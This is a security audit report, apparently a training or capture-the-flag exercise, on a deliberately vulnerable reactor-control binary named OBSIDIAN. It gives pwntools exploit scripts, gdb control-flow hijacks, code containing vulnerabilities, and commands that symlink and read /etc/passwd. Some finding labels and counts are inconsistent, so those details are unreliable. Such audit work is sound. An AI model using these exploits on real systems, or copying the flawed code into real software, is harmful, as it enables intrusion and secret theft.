OBSIDIAN REPORT

Black-box Audit

In this phase, we analyzed the binary using reverse engineering tools and manual fuzzing. List of the tools you used : - Cutter - Ghidra - Gdb-gef - Upx

Key discoveries:

  • The binary was found to be packed with UPX. It was successfully unpacked using upx -d obsidian, revealing the original executable for further static analysis. Then I tried to reconstruct path & function usage

White-box Audit

With access to source code, we performed a full code review and vulnerability assessment. Focus areas: - Input validation - Memory safety (heap/stack misuse) - Format string handling - Privilege escalation paths Additional vulnerabilities discovered: - 31 vulnerabilities identified with combined black-box and white-box analysis List of the tools you used : - Visual Studio Code - Cutter

Vulnerability Report

Below is the list of vulnerabilities discovered, ranked by severity:

Vulnerability #1: activate_emergency_protocols

Severity: Critical
Type: Hardcoded credentials - Privilege Escalation
Location: source_code/src/commands/activate_emergency_protocols.c
Function: activate_emergency_protocols()
Discovered in: Black-box

Description: The emergency administration flow relies on a static password embedded directly in the binary logic. After selecting the action activate_emergency_protocols, the code compares user input against a hardcoded literal value admin123 using strcmp.
Because the credential is fixed and reused, any attacker who discovers it once can consistently bypass authentication and trigger privileged emergency/admin functionality.
This is a direct authentication design failure: no secret rotation, no per-user credentialing, no secure secret storage, and no rate-limiting evidence in the PoC path.

Proof of Concept:

if (strcmp(input, "admin123") == 0) {  // Hardcoded password
    printf("{Emergency protocols activated, you are now admin !}\n");
    IS_ADMIN = true;
}

Impact:
Privilege escalation to admin
Unauthorized access to admin/emergency controls (high-confidence)
Potential full operational takeover of Critical reactor functions if this command is reachable in production context (Critical business/operational risk)

Vulnerability #2: Hardcoded Credentials

Severity: Critical
Type: Hardcoded Credentials
Location: source_code/src/commands/load_config.c
Function: check_password()
Discovered in: White-box

Description: A sensitive admin password "ThisIsTheBestPassword" is hardcoded as a static string. This credential is directly comparable with user input, allowing privilege escalation.

Proof of Concept:

static char const adminPassword[] = "ThisIsTheBestPassword";  // Hardcoded in binary
void check_password(char *str) {
    if (strcmp(str, adminPassword) == 0) {
        printf("{Correct password! Welcome, admin.}\n");
    }
}

Impact:
Credential exposure via strings command or static analysis
Privilege escalation for any attacker
Reusable across multiple systems

Vulnerability #3: load_fuel_rods

Severity: Critical
Type: Hardcoded Credentials + Logic Error
Location: source_code/src/commands/load_fuel_rods.c
Function: load_fuel_rods()
Discovered in: Black-box

Description:
The PoC repeatedly triggers behavior consistent with a memory corruption primitive labeled as buffer overflow.
The command accepts attacker-controlled input and reaches abnormal output path, indicating likely stack overwrite potential.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

def main():
    warnings.filterwarnings("ignore", category=BytesWarning)
    context.log_level = 'error'

    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = './runner/external/'

    output = b''

    for _ in range(3):
        pid = process(['./runner/run.sh'], env=env)
        pid.recvuntil(b'\x00', timeout=1.0)
        pid.sendline(b'load_fuel_rods')
        pid.sendline(b'10')

        output = pid.recvrepeat(timeout=1.2)
        pid.close()

    print(text.red("[+]") + " Vuln Hardcoded Credentials - load_fuel_rods:")
    print(output.splitlines()[3][12:-2])
    print()


if __name__ == "__main__":
    main()

Impact:
Hardcoded secret exposure
Logic error enabling information disclosure
Authentication bypass

Vulnerability #4: init_workers

Severity: Critical
Type: Exploit global function + Dos
Location: source_code/obsidian_lib.so
Function: init_workers()
Discovered in: White-box

Description:
The provided proof-of-concept repeatedly sends oversized, attacker-controlled input to the init_workers() entry point in obsidian_lib.so. Crash analysis and execution traces indicate a stack buffer is being overrun, corrupting nearby stack data such as saved frame pointers, a function pointer and the saved return address. The observed effects include: - Immediate process instability and crashes (Denial of Service) when stack metadata is corrupted. - Overwrite of pointers referencing secret-bearing structures, producing deterministic disclosure of hardcoded secrets when the corrupted path is exercised. - Control-flow redirection by overwriting the saved return address or an in-stack function pointer, enabling bypass of authentication and validation logic. This attack surface is reachable via the command interface exposed to untrusted callers; repeated invocation increases exploitation reliability and enables both information disclosure and execution-path manipulation.

Impact:
- Denial of Service: repeated crashes and uncontrolled process termination when stack metadata (frame pointer/return address) is corrupted, causing service outages for critical control functions.
- Hardcoded secret disclosure: overflowed buffers and overwritten pointers allow deterministic leakage of in-memory secrets and configuration material, enabling credential compromise and lateral attack paths.
- Authentication bypass: corrupted control flow (overwritten return addresses or function pointers) enables skipping validation checks and executing privileged code paths without proper authorization.
- Arbitrary control-flow / code execution: with precise corruption an attacker can hijack execution (RCE), leading to full process compromise and persistent abuse of control interfaces.
- Safety & integrity impact: exploitation can manipulate reactor or turbine control logic, risking unsafe state transitions and potential physical damage or operational shutdowns.
- High exploitability & automation: reachable via the command interface and reproducible with repeated invocations, enabling automated exploitation at scale.

Vulnerability #5: monitor_radiation_levels

Severity: Critical
Type: Memory corruption
Location: source_code/src/commands/monitor_radiation_levels.c
Function: monitor_radiation_levels()
Discovered in: Black-box

Description:
The exploit overwrites a stack slot with a function address and diverts execution.
This behavior is consistent with memory safety weakness enabling direct control-flow manipulation.

alt text

Proof of Concept:

break *0x004027e8
break *0x4027fc
run
monitor_radiation_levels
continue
set *(long long*)($rbp-0x8)=0x004024a0
continue
0
# Succefull done exploit

Impact:
Arbitrary control-flow redirection
Potential code execution in process context
Severe integrity compromise

Vulnerability #6: Stack-Based Buffer Overflow (gets)

Severity: Critical
Type: Stack Buffer Overflow
Location: source_code/src/commands/monitor_radiation_levels.c
Function: monitor_radiation_levels()
Discovered in: White-box

Description: The function uses the deprecated gets(buffer) function to read unlimited input into a 10-byte stack buffer. The gets() function performs NO boundary checking, making this an immediate and trivial stack buffer overflow.

Proof of Concept:

void monitor_radiation_levels() {
    char buffer[10];
    printf("Enter radiation levels: ");
    gets(buffer);  // NO SIZE LIMIT - overflow any input > 10 bytes
    printf("Radiation Levels: %s\n", buffer);
}

Impact:
Immediate crash (segfault) on any normal input
Arbitrary code execution with shellcode injection
Trivial exploitation

Vulnerability #7: Buffer Overflow in load_config

Severity: Critical
Type: Stack Buffer Overflow
Location: source_code/src/commands/load_config.c
Function: load_config()
Discovered in: White-box

Description: The function declares a local buffer array[8] but attempts to read 100 bytes into it via read(fd, array, 100). This is a classic stack buffer overflow vulnerability that allows an attacker to corrupt the stack, overwrite return addresses, and achieve arbitrary code execution.

Proof of Concept:

void load_config() {
    char array[8] = {};  // Only 8 bytes
    int fd = open("./config.ini", O_RDONLY);
    read(fd, array, 100);  // Reads 100 bytes into 8-byte buffer -> OVERFLOW
    close(fd);
}

Impact:
Arbitrary code execution via stack corruption
Return address hijacking
Complete system compromise

Vulnerability #8: Format String Vulnerability

Severity: Critical
Type: Format String Injection
Location: source_code/src/utils.c
Function: load_obsidianrc()
Discovered in: White-box

Description: User-controlled input from the .obsidianrc configuration file is passed directly to printf() without format string protection. An attacker can inject format string specifiers like %x, %s, or %n to read/write arbitrary memory.

Proof of Concept:

void load_obsidianrc() {
    FILE *rc_file = fopen(".obsidianrc", "r");
    while (fgets(line, sizeof(line), rc_file)) {
        printf("Obsidian command: ");
        printf(line);  // Format string vulnerability - line is untrusted
        printf("\n");
    }
}

Vulnerability #9: Command Injection

Severity: Critical
Type: OS Command Injection
Location: source_code/src/commands/configure_cooling_system.c
Function: configure_cooling_system()
Discovered in: White-box

Description: User-controlled data read from a file is passed directly to system() without any sanitization. An attacker can place arbitrary shell commands in the configuration file to execute system commands with application privileges.

Proof of Concept:

void configure_cooling_system() {
    char buffer[64];
    FILE *file = fopen("Data/cooling_config.txt", "r");
    fread(buffer, 1, sizeof(buffer) - 1, file);
    system(buffer);  // Command injection - buffer is untrusted file data
}

Impact:
Arbitrary OS command execution
Full system compromise
Data exfiltration and malware installation

Vulnerability #10: Use After Free

Severity: Critical
Type: Memory Corruption (Use After Free)
Location: source_code/src/commands/check_cooling_pressure.c
Function: check_cooling_pressure()
Discovered in: White-box

Description: Memory allocated with malloc(16) is freed via free(data), but then accessed via strcmp(data, ...) on line 35. This creates a use-after-free vulnerability that can lead to information disclosure or code execution.

Proof of Concept:

void check_cooling_pressure() {
    char *data = (char *)malloc(16);
    load_data(data);
    free(data);
    sleep(3);
    if (strcmp(data, "Pressure OK")) {  // Use-after-free - data points to freed memory
        printf("Sensitive Info: %s\n", sensitive_info);
    }
}

Impact:
Information disclosure via dangling pointer
Potential code execution with heap layout control
Process crash or memory corruption

Vulnerability #11: Memory Corruption via NULL Function Pointer

Severity: Critical
Type: Memory Corruption
Location: source_code/src/commands/monitor_radiation_levels.c
Function: monitor_radiation_levels()
Discovered in: White-box

Description: A function pointer is initialized to NULL and then called without verification. Combined with the buffer overflow vulnerability on line 13, an attacker can overflow the buffer and write to the function pointer to achieve code execution.

Proof of Concept:

void secret_function() {
    printf("{The stone isn't in the pocket anymore ...}\n");
}

void monitor_radiation_levels() {
    char buffer[10];
    void (* function_ptr)() = NULL;
    gets(buffer);  // Overflow to write to function_ptr
    if (function_ptr)
        function_ptr();  // Call attacker-controlled function
}

Impact:
Arbitrary code execution via control-flow hijacking
Combined with buffer overflow for reliable exploitation
Complete process compromise

Vulnerability #12: Directory Traversal (utils.c)

Severity: High
Type: Directory Traversal / Path Traversal
Location: source_code/src/utils.c
Function: load_obsidianrc()
Discovered in: White-box

Description: The .obsidianrc configuration file is accessed without path validation using relative path fopen(".obsidianrc", "r"). An attacker can place a malicious .obsidianrc file in any directory and exploit it via: 1. Format string injection (Vulnerability #3) 2. Command injection via "exec" commands 3. Symlink attacks to read arbitrary files

Proof of Concept:

rc_file = fopen(".obsidianrc", "r");  // No path validation - relative path
// Attacker creates: /tmp/exploit/.obsidianrc or uses symlinks

Impact:
Arbitrary file read via symlinks
Configuration tampering
Combined with format string/command injection vulnerabilities

Vulnerability #13: Directory Traversal (history.c)

Severity: High
Type: Directory Traversal / Path Traversal
Location: source_code/src/commands/history.c
Function: history_init()
Discovered in: White-box

Description: The history file is accessed without path validation using #define HISTORY_FILE ".obsidian_history". An attacker can create a symlink at .obsidian_history pointing to arbitrary files to read them.

Proof of Concept:

#define HISTORY_FILE ".obsidian_history"
file = fopen(HISTORY_FILE, "r");  // No path validation - relative path
// Attacker: ln -s /etc/passwd .obsidian_history

Impact:
Arbitrary file read (subject to process privileges)
Symlink-based privilege escalation
System information disclosure

Vulnerability #14: Information Disclosure (log_system_events)

Severity: High
Type: Information Disclosure + Log Injection
Location: source_code/src/commands/log_system_events.c
Function: log_system_event()
Discovered in: White-box

Description: A hardcoded secret key "{SECRET_LOG_12PIERRE34}" is logged to a file when the string "leak" is detected in user input. This allows an attacker to intentionally trigger disclosure of sensitive information.

Proof of Concept:

char secret_key[32] = "{SECRET_LOG_12PIERRE34}";
if (strstr(input, "leak")) {  // Attacker inputs "leak" to trigger disclosure
    fprintf(log, "SECRET_KEY_LEAKED: %s\n", secret_key);
}

Impact:
Unauthorized disclosure of sensitive operational information
Attacker-controlled information leak
Persistence of secrets in log files

Vulnerability #15: alchemy

Severity: High
Type: Hardcoded credentials
Location: source_code/src/laboratory.a
Function: alchemy()
Discovered in: Black-box

Description:
The module constructs a sensitive value directly in memory from hardcoded integer constants.
The secret is not protected cryptographically and can be reconstructed by reversing endianness and concatenating constant fragments.
Any attacker with binary access can recover the embedded secret without authentication.

Proof of Concept:

var_17h = 0x61505f6f62614c7b;
var_fh._0_4_ = 0x6f777373;
var_fh._4_2_ = 0x6472;
var_fh._6_1_ = 0x7d;
#!/usr/bin/python3

from pwn import text

def main():
    var_17h = (0x61505f6f62614c7b).to_bytes(8, byteorder="little").decode()
    var_f= 0x6f777373.to_bytes(4, byteorder="little").decode()
    var_fg = 0x6472.to_bytes(2, byteorder="little").decode()
    var_fi = 0x7d.to_bytes(byteorder="little").decode()

    print(text.red("[+]") + " Vuln Hardcoded credentials<br> - alchemy:")
    print(f"{var_17h}{var_f}{var_fg}{var_fi}")
    print()

if __name__ == "__main__":
    main()

Impact:
Sensitive data exposure
Secret recovery by reverse engineering
Potential reuse of recovered secret in other modules

Vulnerability #16: check_cooling_pressure

Severity: High
Type: Use After Free
Location: source_code/src/commands/check_cooling_pressure.c
Function: alchemy()
Discovered in: Black-box

Description:
The command output leaks a secret value in a deterministic way that can be extracted by scripted interaction.
No dynamic secret derivation or strong access control is observed in the PoC path.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

def main():
    warnings.filterwarnings("ignore", category=BytesWarning)
    context.log_level = 'error'

    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = './runner/external/'

    pid = process(['./runner/run.sh'], env=env)
    pid.recv(numb=100, timeout=1.0)
    pid.sendline(b'check_cooling_pressure')

    for _ in range(5):
        line = pid.recv(timeout=3.0)

    print(text.red("[+]") + " Vuln Hardcoded credentials<br> - check_cooling_pressure:")
    print(line.decode().split("\n")[0][16:])
    print()

if __name__ == "__main__":
    main()

Impact:
Unauthorized disclosure of sensitive operational information
Facilitates chained attacks with other privileged functions

Vulnerability #17: run_diagnostic

Severity: High
Type: Information Disclosure
Location: source_code/src/commands/run_diagnostic.c
Function: run_diagnostic()
Discovered in: Black-box

Description:
The diagnostic feature accepts a static debug token to unlock privileged output.
This behavior is consistent with a hidden maintenance backdoor left in production logic.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

def main():
    warnings.filterwarnings("ignore", category=BytesWarning)
    context.log_level = 'error'

    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = './runner/external/'

    pid = process(['./runner/run.sh'], env=env)
    pid.recv(numb=100, timeout=1.0)
    pid.sendline(b'run_diagnostic')
    pid.recv(timeout=1.0)
    pid.sendline(b'debug')
    line = pid.recvlines(timeout=1.0)

    print(text.red("[+]") + " Vuln Information Disclosure - run_diagnostic:")
    print(line[1].decode()[19:])
    print()


if __name__ == "__main__":
    main()

Impact:
Privilege escalation through undocumented debug path
Information disclosure from restricted diagnostics

Vulnerability #18: read_turbine_config

Severity: High
Type: Directory traversal
Location: source_code/obsidian_lib.so
Function: run_diagnostic()
Discovered in: Black-box

Description:
Input sanitization only blocks ".." but trusts files under Data/.
An attacker can create a symlink in Data/ pointing to arbitrary filesystem targets (e.g., /etc/passwd), bypassing intended directory restrictions.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = 'error'

env = os.environ.copy()
env['LD_LIBRARY_PATH'] = './runner/external/'

os.system("mkdir -p Data; cd Data")
os.system("ln -s /etc/passwd Data/passwd; cd ..")

pid = process(['./runner/run.sh'], env=env)
pid.recv(numb=100, timeout=1.0)
pid.sendline(b'read_turbine_config')

pid.recv(timeout=1.0)
pid.sendline(b'passwd')

print(text.red("[+]") + " Vuln directory traversal - read_turbine_config:")
os.system("cat Data/passwd")
print()
os.system("rm -rf Data")

Impact:
Arbitrary file read (subject to process privileges)
Disclosure of host and credential-related data

Vulnerability #19: emergency_shutdown

Severity: High
Type: Bypass
Location: source_code/src/commands/trigger_emergency_shutdown.c
Function: trigger_emergency_shutdown()
Discovered in: Black-box

Description:
By using instruction pointer jumps and register manipulation, the PoC forces a success state without legitimate flow completion.
This reveals fragile runtime trust assumptions under tampering or just be admin.

Proof of Concept:

break *0x004024a0
break *0x004034ba
run
init_reactor
jump *0x004034a8
break *0x4034b7
jump *0x4034b7
set $eax=1
break *0x4189d0
continue
continue

Impact:
Forced privileged shutdown flow
Bypass of expected safety checks in debug-capable context

Vulnerability #20: NULL Pointer Dereference (history_add)

Severity: High
Type: NULL Pointer Dereference / Memory Corruption
Location: source_code/src/commands/history.c
Function: history_add()
Discovered in: White-box

Description: When shifting history entries, the code accesses history[i+1] without null checking. If the history array contains NULL entries, this dereferences NULL and causes a crash.

Proof of Concept:

for (int i = 0; i < history_count - 1; i++)
    history[i] = history[i + 1];  // No null check - may dereference NULL

Impact:
Denial of service via null pointer dereference
Process crash

Vulnerability #21: Log Injection (history_add)

Severity: High
Type: Log Injection / Unsanitized Input
Location: source_code/src/commands/history.c
Function: history_add()
Discovered in: White-box

Description: User input from history command is written directly to a log file without sanitization. This allows attackers to inject arbitrary content into logs, forging audit trails.

Proof of Concept:

fprintf(file, "%s\n", history[i]);  // Unsanitized user input written to log

Impact:
Log injection and tampering
Audit trail manipulation

Vulnerability #22: check_reactor_status

Severity: Medium
Type: Weak encrypting
Location: source_code/src/commands/check_reactor_status.c
Function: check_reactor_status()
Discovered in: Black-box

Description:
Critical reactor data is protected with a Caesar shift (gap=3), which is trivially reversible.
This is obfuscation, not encryption, and does not provide confidentiality.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

def cipher(encoded, gap):
    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    decoded = list(encoded)

    for i, char in enumerate(decoded):
        if char in alphabet:
            new_gap = (alphabet.index(char) - gap) % len(alphabet)
            decoded[i] = alphabet[new_gap]

    return "".join(decoded)

def main():
    warnings.filterwarnings("ignore", category=BytesWarning)
    context.log_level = 'error'

    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = './runner/external/'

    pid = process(['./runner/run.sh'], env=env)
    pid.recv(numb=100, timeout=1.0)
    pid.sendline(b'check_reactor_status')

    line = pid.recvline_startswith(b'Encrypted message:')

    print(text.red("[+]") + " Vuln Weak Encryption - check_reactor_status:")
    print(cipher(line.decode().split()[2], 3))
    print()

if __name__ == "__main__":
    main()

Impact:
Loss of confidentiality of supposedly protected status data
Attackers can decode messages without key material

Vulnerability #23: send_status_report

Severity: Medium
Type: Weak encrypting
Location: source_code/src/commands/send_status_report.c
Function: send_status_report()
Discovered in: Black-box

Description:
Status report data is only Base64-encoded and presented as if protected.
Base64 is not a security mechanism and can be decoded instantly.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

def main():
    warnings.filterwarnings("ignore", category=BytesWarning)
    context.log_level = 'error'

    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = './runner/external/'

    os.system("mkdir Data")

    pid = process(['./runner/run.sh'], env=env)
    pid.recv(numb=100, timeout=1.0)
    pid.sendline(b'send_status_report')

    pid.recv(timeout=2.0)

    print(text.red("[+]") + " Vuln Weak Encryption - send_status_report:")
    os.system("./send_status_report/decrypt.sh")
    print()

    os.system("rm -rf Data")

if __name__ == "__main__":
    main()

Impact:
Sensitive status report disclosure
False sense of security for transmitted or stored data

Vulnerability #24: init_steam_turbine

Severity: Medium
Type: Insecure Randomness
Location: source_code/obsidian_lib.so
Function: init_steam_turbine()
Discovered in: Black-box

Description:
Random values are generated with rand() seeded by time(NULL).
This pattern is predictable and reproducible when seed timing is known or approximated because it depend actual time.

alt text

Proof of Concept:

srand((__u_int)time((time_t *)0x0));
printf("magix - decompil: %i\n", rand());
#!/usr/bin/python3

from pwn import *
import os
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = 'error'

env = os.environ.copy()
env['LD_LIBRARY_PATH'] = './runner/external/'

os.system("clang ./external_lib/init_steam_turbine/decompiler/main.c -o ./external_lib/init_steam_turbine/decompiler/main")
os.system("clang ./external_lib/init_steam_turbine/decompiler/rand.c -o ./external_lib/init_steam_turbine/decompiler/rand")
pid = process(['./external_lib/init_steam_turbine/decompiler/main'], env=env)
line = pid.recvline_startswith(b'magix - decompil:')

print(text.red("[+]") + " Vuln Insecure Randomness - init_steam_turbine:")
print(line.decode(errors='ignore'))
os.system("./external_lib/init_steam_turbine/decompiler/rand")
print()

Impact:
Predictable random-dependent behavior
Potential bypass of logic that assumes randomness

Vulnerability #25: simulate_meltdown

Severity: Medium
Type: Insecure Randomness
Location: source_code/src/commands/simulate_meltdown.c
Function: simulate_meltdown()
Discovered in: Black-box

Description:
Critical branch triggering can be reached by repeatedly invoking the function until a random-dependent condition occurs.
This demonstrates non-robust control relying on weak randomness.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

def main():
    warnings.filterwarnings("ignore", category=BytesWarning)
    context.log_level = 'error'

    env = os.environ.copy()
    env['LD_LIBRARY_PATH'] = './runner/external/'

    pid = process(['./runner/run.sh'], env=env)

    while True:
        pid.recv(numb=100, timeout=1.0)
        pid.sendline(b'simulate_meltdown')

        line = pid.recvline_startswith("Critical<br> Error:", timeout=1.0)

        if (line != b''):
            print(text.red("[+]") + " Vuln Insecure Randomness - simulate_meltdown:")
            print(line.decode().split(" ")[5])
            print()
            return

if __name__ == "__main__":
    main()

Impact:
Unauthorized triggering of critical error states
Increased operational risk from probabilistic abuse

Vulnerability #26: run_turbine

Severity: Medium
Type: Integer Overflow / Underflow
Location: source_code/obsidian_lib.so
Function: run_turbine()
Discovered in: Black-box

Description:
User input is parsed with atoi then stored in an unsigned integer.
Supplying negative values (e.g., -1) leads to inconsistent comparisons and unsafe control flow behavior.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = 'error'

env = os.environ.copy()
env['LD_LIBRARY_PATH'] = './runner/external/'

pid = process(['./runner/run.sh'], env=env)
pid.recv(numb=100, timeout=1.0)

pid.sendline(b'run_turbine')
pid.recv(timeout=1.0)

pid.sendline(b'-1')
pid.recvline_endswith(b'17/-1')
line = pid.recvline()


print(text.red("[+]") + " FLAG run_turbine:")
print(line.decode(errors='ignore').split("\n")[0])
print()

Impact:
Logic bypass of input constraints
Unexpected runtime behavior and potential stability issues

Vulnerability #27: turbine_explode

Severity: Medium
Type: Integer Overflow / Underflow
Location: source_code/obsidian_lib.so
Function: turbine_explode()
Discovered in: Black-box

Description:
Input is converted with strtoll and cast to int, then compared to specific sentinel values.
Supplying edge integers triggers the dangerous branch directly.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = 'error'

env = os.environ.copy()
env['LD_LIBRARY_PATH'] = './runner/external/'

pid = process(['./runner/run.sh'], env=env)
pid.recv(numb=100, timeout=1.0)

pid.sendline(b'turbine_temperature')
pid.recv(timeout=1.0)
pid.sendline(b'2147483646')


print(text.red("[+]") + " FLAG turbine_explode:")
print(pid.clean().decode(errors='ignore').split("\n")[1])
print()

Impact:
Forced Critical failure path
Potential denial of service and unsafe state transitions

Vulnerability #28: set_reactor_power

Severity: Medium
Type: Bypass
Location: source_code/src/commands/set_reactor_power.c
Function: set_reactor_power()
Discovered in: Black-box

Description:
The PoC demonstrates bypass by modifying local state in memory at runtime.
This indicates insufficient hardening against tampering and weak trust in mutable local validation state.

Proof of Concept:

break *0x402d02
run
set_reactor_power
0
set {int}($rbp-0x4)=0x7ffffc19
continue

#Succefull done exploit

Impact:
Bypass of expected validation constraints
Unauthorized state transitions when debugger access exists

Vulnerability #29: turbine_remote_access

Severity: Medium
Type: Race Condition
Location: source_code/obsidian_lib.so
Function: turbine_remote_access()
Discovered in: Black-box

Description:
The module stores sensitive access data in a temporary file under Data/ and leaves a readable window before cleanup.
An attacker monitoring the directory can read secrets before unlink.

Proof of Concept:

#!/usr/bin/python3

from pwn import *
import os
import warnings

warnings.filterwarnings("ignore", category=BytesWarning)
context.log_level = 'error'

os.system("mkdir -p Data")
env = os.environ.copy()
env['LD_LIBRARY_PATH'] = './runner/external/'

pid = process(['./runner/run.sh'], env=env)
pid.recv(numb=100, timeout=1.0)
pid.sendline(b'turbine_remote_access')

pid.recv(timeout=1.0)

print(text.red("[+]") + " FLAG turbine_remote_access:")
os.system("find ./Data/ -type f -exec cat {} \\;")
print("\n")
os.system("rm -rf Data")

Impact:
Disclosure of sensitive access tokens/flags
Race-window based data leakage

Vulnerability #30: quit

Severity: Medium
Type: Bypass
Location: source_code/src/commands/unlock_secret_mode.c
Function: unlock_secret_mode()
Discovered in: Black-box

Description:
Execution can be redirected to post-validation logic through direct jump, bypassing normal checks and flow constraints.

Proof of Concept:

break *0x00402f55
run
quit
jump *0x00402f69

Impact:
Bypass of intended quit/control checks
Potential abuse of hidden branches in debug context

Vulnerability #31: log_system_events

Severity: Medium
Type: Bypass
Location: source_code/src/commands/log_system_events.c
Function: log_system_events()
Discovered in: Black-box

Description:
The PoC modifies in-memory bytes at strategic addresses to alter behavior and access internal logs.
This demonstrates weak resilience against runtime tampering and state integrity attacks.

Proof of Concept:

break *0x0040279e
run

leak
set {char}($rdi+4)=0
set {char}($rax+4)=0
continue

# Succesfull done exploit: Open Data/system.log

Impact:
Unauthorized access to protected log resources
Integrity loss of runtime decision state

Vulnerability #32: call_api

Severity: Medium
Type: Information Disclosure
Location: https://obsidian-website-seven.vercel.app/
Discovered in: Black-box

Description:
Sensitive information is recoverable by iterating an obfuscated JavaScript API call.
The protection relies on obscurity rather than access control or cryptography.

Proof of Concept:

for (let i = 0; i < 20; i++) {
    try { console.log(i, qNNX.GNNS(i)); }
    catch(e) {}
}

Impact:
Exposure of embedded secret values
Loss of confidentiality for client-distributed logic/data

Conclusion

This audit campaign highlights a high overall risk level for the security of the OBSIDIAN platform.
The identified vulnerabilities span multiple critical classes (Hardcoded credentials, bypass, memory corruption, buffer overflow, weak encrypting, insecure randomness), confirming structural weaknesses rather than isolated cases.

The main business and operational impacts are:
- Privilege escalation and bypass of security controls.
- Exposure of sensitive information and potential leakage of reusable secrets.
- Possible system destabilization (crashes, critical states, unexpected behavior).
- Increased risk of full compromise through vulnerability chaining.

Recommended remediation priorities:
1. Immediately remove all hardcoded secrets and implement centralized secret management.
2. Fix memory safety and dangerous conversion issues (overflow/underflow, stack corruption, boundary checks).
3. Strengthen access controls and validation logic to eliminate bypass paths.
4. Replace weak mechanisms (base64-as-protection, trivial ciphers, rand/time) with robust cryptographic and randomness primitives.
5. Add defense in depth: binary hardening, compiler protections, security code review, and security regression testing in CI.

In conclusion, the current binary state does not provide an acceptable production security level without prioritized remediation of the Critical
issues identified in this report.

alt text

The Stone Corporation

Lukas Soigneux